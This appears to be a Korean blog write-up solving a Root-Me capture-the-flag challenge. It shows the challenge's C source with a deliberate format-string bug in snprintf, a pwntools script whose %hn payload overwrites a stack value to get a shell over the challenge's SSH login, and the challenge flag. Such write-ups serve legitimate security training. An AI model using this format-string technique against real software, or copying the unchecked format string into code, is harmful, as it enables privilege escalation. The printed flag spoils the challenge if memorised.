% 안 써놓고 못 찾아서 1시간 넘게 삽질했다...
너무 힘드니까 소스코드를 열어보자.
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main( int argc, char ** argv )
{
int var;
int check = 0x04030201;
char fmt[128];
if (argc <2)
exit(0);
memset( fmt, 0, sizeof(fmt) );
printf( "check at 0x%x\n", &check );
printf( "argv[1] = [%s]\n", argv[1] );
snprintf( fmt, sizeof(fmt), argv[1] ); //FSB 취약점 발생!!
if ((check != 0x04030201) && (check != 0xdeadbeef))
printf ("\nYou are on the right way !\n");
printf( "fmt=[%s]\n", fmt );
printf( "check=0x%x\n", check );
if (check==0xdeadbeef)
{
printf("Yeah dude ! You win !\n");
setreuid(geteuid(), geteuid());
system("/bin/bash");
}
}
check가 0xdeadbeef면 쉘을 실행시켜준다.
우리가 입력한 값은 fmt에 들어가고 check의 주소를 출력시켜준다.
snprintf를 잘 이용하면 될 것 같다.
먼저 첫번째 문자열을 몇 번째 포맷 스트링이 참조하는지 찾아보자.
9번째 포맷스트링부터 참조하는 것을 확인했다.
4byte를 한번에 넣을 수는 없으니 0xdeadbeef를 2byte씩 쪼개 보자.
앞에 주소 값을 쓰기 때문에 8byte를 제외하고 0xdead를 먼저 계산하면 음수 값이 나오기 때문에 반대로 계산해야 한다.
이제 준비를 모두 마쳤으니 소스코드를 짜 보자.
from pwn import *
payload = '\xb8\xfb\xff\xbf'
payload += '\xba\xfb\xff\xbf'
payload += '%48871c' #beef
payload += '%9$hn'
payload += '%8126c' #dead
payload += '%10$hn'
argv = ['']
argv.append(payload)
s = ssh(user='app-systeme-ch14',host='challenge02.root-me.org',port=2222,password='app-systeme-ch14')
p = s.process(argv=argv,executable='./ch14')
p.interactive()
실행시켜보자.
쉘을 획득했다.
플래그 등장!
FLAG : 1l1k3p0Rn&P0pC0rn
'Pwnable > RootMe' 카테고리의 다른 글
Root Me wargame ELF x86 - Stack buffer overflow basic 2 write-up (0) | 2021.02.21 |
---|---|
Root Me wargame ELF x86 - Stack buffer overflow basic 1 write-up (0) | 2021.02.21 |